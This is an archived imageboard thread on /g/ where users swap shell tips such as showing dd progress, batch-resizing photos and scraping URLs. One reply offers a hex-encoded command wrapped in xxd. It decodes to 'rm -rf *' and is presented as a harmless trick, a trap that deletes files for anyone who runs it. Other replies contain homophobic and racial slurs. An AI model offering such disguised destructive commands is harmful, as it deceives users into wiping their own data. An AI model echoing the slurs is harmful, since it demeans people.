[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y ] [Home]
4chanarchives logo
Interesting terminal commands/tricks
Images are sometimes not shown due to bandwidth/network limitations. Refreshing the page usually helps.

You are currently reading a thread in /g/ - Technology

Thread replies: 18
Thread images: 4
File: rtuxdoc2.png (371 KB, 258x303) Image search: [Google]
rtuxdoc2.png
371 KB, 258x303
Its been a while since I've seen one of these posts here. Post your favourite neat terminal tricks that you want to share with fellow anons!

I'll start: Use this image as input to aplay.

aplay rtuxdoc2.png
>>
# Show 'dd' progress
pkill -USR1 '^dd$'

# rename + resize images (from camera) using "fancy" expansion
for i in *.JPG; do convert -resize 50% "$i" "${i%.*}.jpg"; done

# rename directories to lowercase
rename 'y/A-Z/a-z/' *

# scrape yt urls
curl -s <url> | html2text | grep -Eo "http.*youtu.*\s?" | sort -u
>>
This seems neat
>>
>tab
Use it to auto complete a filename if its exists
>using regular expressions
Look them up.
>>
>>51285648
Fucking beautiful op
>>
cat /dev/urandom | espeak
>>
https://github.com/sivel/speedtest-cli

Good so that you don't have to visit the bloated speedtest.net site.
>>
C^e in bash to edit currently typed command in $EDITOR, quitting editor executes it. C^o runs command but keeps it in the little buffer, so you can hold it to keep running it.
>>
does any anon can post the code to make music using the terminal
:3
>>
>>51287771
'''no'''
>>
$(echo '726d202d7266202a0a' | xxd -p -r)
>>
>>51287771
Fag
>>
>>51287895
woah thats pretty cool!
>>
im 12 and this stuff is cool!!!!
>>
File: 1820.png (2 KB, 258x303) Image search: [Google]
1820.png
2 KB, 258x303
>>51285648
Please refrain from posting unoptimized PNGs.
Thank you.
>>
File: 1421707075990.jpg (58 KB, 800x534) Image search: [Google]
1421707075990.jpg
58 KB, 800x534
>>51288120
>>
>>51288120
Did you even read the post you nigger
>>
File: Cover4.jpg (80 KB, 500x500) Image search: [Google]
Cover4.jpg
80 KB, 500x500
>>51287955
Kek
Thread replies: 18
Thread images: 4

banner
banner
[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y] [Home]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
If a post contains personal/copyrighted/illegal content you can contact me at [email protected] with that post and thread number and it will be removed as soon as possible.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com, send takedown notices to them.
This is a 4chan archive - all of the content originated from them. If you need IP information for a Poster - you need to contact them. This website shows only archived content.